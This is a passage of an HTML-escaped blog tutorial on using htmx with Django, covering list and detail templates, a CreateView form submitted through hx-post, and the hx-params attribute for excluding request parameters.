style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameList&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-detail&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Return to list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;           &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After &lt;em&gt;listVideogames.html&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for videogame in videogames %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameDetail&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;videogame&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pk&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;{{videogame.title}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{videogame.description|truncatewords:15}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Read more&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note how, in both cases, the HTML generated by Django in the url to the one that points &lt;em&gt;hx-target&lt;/em&gt; will replace the divine with the id &lt;em&gt;videogame-list&lt;/em&gt; after having effected a click on the element.&lt;/p&gt;&#xA;&lt;h3 id=&#34;interaction-process-between-django-and-htmx&#34;&gt;Interaction process between django and htmx&lt;/h3&gt;&#xA;&lt;p&gt;If our code works, after clicking on the home button the following steps will be performed:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxResponse-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxResponse-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Htmx rendering a web application&#34; width=&#34;1339&#34; height=&#34;393&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Htmx will make a GET request to the url videogame/list/&lt;/li&gt;&#xA;&lt;li&gt;Django will query the database, get the information and pass it to the template rendering system.&lt;/li&gt;&#xA;&lt;li&gt;Django template system will render the &lt;em&gt;listVideogames.html&lt;/em&gt; template and return it as a response.&lt;/li&gt;&#xA;&lt;li&gt;Htmx will take the content of the response and replace the tag that has the id &lt;em&gt;#videogame-list&lt;/em&gt; with this one.&lt;/li&gt;&#xA;&lt;li&gt;Htmx will modify the browser url to point to &lt;em&gt;videogame/list&lt;/em&gt;/&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;sending-parameters-with-htmx&#34;&gt;Sending parameters with Htmx&lt;/h2&gt;&#xA;&lt;p&gt;Any element that triggers a request will include its value (inputs). If this element is a form, htmx will include the content of all the inputs that are inside the two form tags. Let&amp;rsquo;s create a form to test this.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s first add a view to create a video game in our &lt;em&gt;views.py&lt;/em&gt; file&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.generic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListView, DetailView, CreateView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameCreate&lt;/span&gt;(CreateView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;genre&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;price&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    template_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;createVideogameForm.html&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember to provide the &lt;em&gt;get_absolute_url&lt;/em&gt; method to our Videogame model. Because if our request is successful, we will want django to redirect us to the newly created object.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_absolute_url&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; reverse(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogameDetail&amp;#39;&lt;/span&gt;, args&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id)])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And let&amp;rsquo;s put the url in our &lt;em&gt;urls.py&lt;/em&gt; file&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListVideogames, VideogameDetail, VideogameCreate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;url_patterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;create/&amp;#39;&lt;/span&gt;, VideogameCreate&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameCreate&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s go into the &lt;em&gt;templates&lt;/em&gt; folder and create the &lt;em&gt;createVideogameForm.html&lt;/em&gt; template that we specified in our generic view.&lt;/p&gt;&#xA;&lt;p&gt;Also, notice how I have removed the &lt;em&gt;method&lt;/em&gt; attribute. If our request is successful, the video game will be added and redirect us to the url we specified in the &lt;em&gt;get_absolute_url&lt;/em&gt; method we created above.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-post&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% csrf_token %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {{ form.as_p }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Save&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt;&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I will place a button in the list of videogames, &lt;em&gt;listVideogames.html&lt;/em&gt; to redirect us to the page creation view.&lt;/p&gt;&#xA;&lt;p&gt;This is important because **if we access a url different from &lt;em&gt;home&lt;/em&gt;, which is where the htmx script is loaded, we will not have access to the functionalities **.&lt;/p&gt;&#xA;&lt;p&gt;We will solve this problem later.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/LaEtiquetaHeadNoSeCarga.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/LaEtiquetaHeadNoSeCarga.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;head tag does not load directly if we access the path&#34; width=&#34;1260&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Submit a videogame&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See how it works&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxFormSubmit-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxFormSubmit-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Submitting a form using htmx and django&#34; width=&#34;1260&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;See the image below, htmx automatically sent the content of all the fields encompassed by the form tag as part of the POST request made to /videogame/create/.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/PeticionHTTPPost.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/PeticionHTTPPost.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;POST parameters automatically sent by htmx&#34; width=&#34;1426&#34; height=&#34;275&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;excluding-parameters-with-htmx&#34;&gt;Excluding parameters with htmx&lt;/h3&gt;&#xA;&lt;p&gt;It is possible to exclude parameters by means of the hx-params attribute. To use it we simply place it in the form tag or whatever we are using.&lt;/p&gt;&#xA;&lt;p&gt;hx-params receives the following possible options&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;*: to include all&lt;/li&gt;&#xA;&lt;li&gt;none: to not include parameters&lt;/li&gt;&#xA;&lt;li&gt;not &lt;!-- raw HTML omitted --&gt;: to exclude a comma-separated list of parameters&#xA;&lt;!-- raw HTML omitted --&gt;: to include only the parameters appearing in this comma-separated list&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span 